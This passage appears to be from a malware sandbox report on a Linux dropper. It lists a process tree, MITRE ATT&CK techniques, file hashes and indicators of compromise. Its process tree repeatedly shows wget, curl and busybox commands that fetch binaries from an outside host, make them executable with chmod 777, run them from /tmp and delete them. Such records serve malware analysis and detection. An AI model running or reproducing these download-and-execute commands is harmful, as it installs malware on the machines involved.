- /tmp/qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
  ./qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
  2⤵
  - Executes dropped EXE
  PID:973
- /bin/rm
  rm qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
  2⤵
  PID:974
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
  2⤵
  PID:975
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:976
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
  2⤵
  - System Network Configuration Discovery
  PID:978
- /bin/chmod
  chmod 777 v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
  2⤵
  - File and Directory Permissions Modification
  PID:979
- /tmp/v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
  ./v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
  2⤵
  - Executes dropped EXE
  PID:980
- /bin/rm
  rm v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
  2⤵
  PID:981
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
  2⤵
  - System Network Configuration Discovery
  PID:982
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:983
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
  2⤵
  - System Network Configuration Discovery
  PID:985
- /bin/chmod
  chmod 777 651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
  2⤵
  - File and Directory Permissions Modification
  PID:986
- /tmp/651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
  ./651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
  2⤵
  - Executes dropped EXE
  PID:987
- /bin/rm
  rm 651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
  2⤵
  PID:988
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
  2⤵
  - System Network Configuration Discovery
  PID:989
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:990
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
  2⤵
  PID:992
- /bin/chmod
  chmod 777 N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
  2⤵
  - File and Directory Permissions Modification
  PID:993
- /tmp/N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
  ./N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
  2⤵
  - Executes dropped EXE
  PID:994
- /bin/rm
  rm N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
  2⤵
  PID:995
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
  2⤵
  - System Network Configuration Discovery
  PID:996
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:997
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
  2⤵
  - System Network Configuration Discovery
  PID:999
- /bin/chmod
  chmod 777 BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
  2⤵
  - File and Directory Permissions Modification
  PID:1000
- /tmp/BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
  ./BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
  2⤵
  - Executes dropped EXE
  PID:1001
- /bin/rm
  rm BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
  2⤵
  PID:1002
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
  2⤵
  PID:1003
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1004
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
  2⤵
  PID:1006
- /bin/chmod
  chmod 777 jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
  2⤵
  - File and Directory Permissions Modification
  PID:1007
- /tmp/jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
  ./jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
  2⤵
  - Executes dropped EXE
  PID:1008
- /bin/rm
  rm jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
  2⤵
  PID:1009
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
  2⤵
  - System Network Configuration Discovery
  PID:1010
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1011
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
  2⤵
  - System Network Configuration Discovery
  PID:1013
- /bin/chmod
  chmod 777 onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
  2⤵
  - File and Directory Permissions Modification
  PID:1014
- /tmp/onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
  ./onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
  2⤵
  - Executes dropped EXE
  PID:1015
- /bin/rm
  rm onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
  2⤵
  PID:1016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u

Path /tmp/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u	747	DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
/tmp/iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G	754	iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
/tmp/V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY	762	V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
/tmp/8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5	790	8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
/tmp/YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE	820	YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
/tmp/qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p	860	qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
/tmp/v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H	868	v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
/tmp/651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI	875	651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
/tmp/N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ	882	N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
/tmp/BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL	889	BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
/tmp/jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6	896	jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
/tmp/onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs	903	onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs
/tmp/GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl	910	GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
/tmp/W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU	917	W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
/tmp/GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl	924	GxX3UNtzwBmxPksA5g874zjQQKGNmaCnGl
/tmp/W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU	931	W1C34OEPwdi9cbrwOGdkrufC6Zu4CN0zlU
/tmp/YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE	938	YqfAgGdsvUXTkdTEFjEz0lLn2dfzzQ5baE
/tmp/DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u	945	DFoZKsAg9Sm9OHGn2HmPmdnCI97z4aND8u
/tmp/iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G	952	iyFTOfpgyE6vMhF7lYTPiZiFCS6Qs6rP8G
/tmp/V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY	959	V0wjjW2pc2MLR4AyyeeqgQ4stsdSKJ8pCY
/tmp/8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5	966	8DpBsf2XZh3wG6tbtwT7L2LIELngaBmIi5
/tmp/qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p	973	qOIxK4f9yWqEWhPPfWXBHZAWD3aMsCEt2p
/tmp/v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H	980	v5PD2mn1rmdb8F3yUuecKg2gnInoXMVQ8H
/tmp/651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI	987	651BN6CWSDL1ZpZxSxwjBZdukqKifV8EZI
/tmp/N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ	994	N5wfEPFKRpEBA13PjMXIgw8n4YVhLbtbVZ
/tmp/BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL	1001	BiIK98BJUrEdHJaojB8yQqiw75ifR10pbL
/tmp/jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6	1008	jYxtId34zAa8ZPXRecqw50raf6lU4hCqo6
/tmp/onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs	1015	onsQgYsyAMxAL6LExzpGX2wJKqv4Ccnivs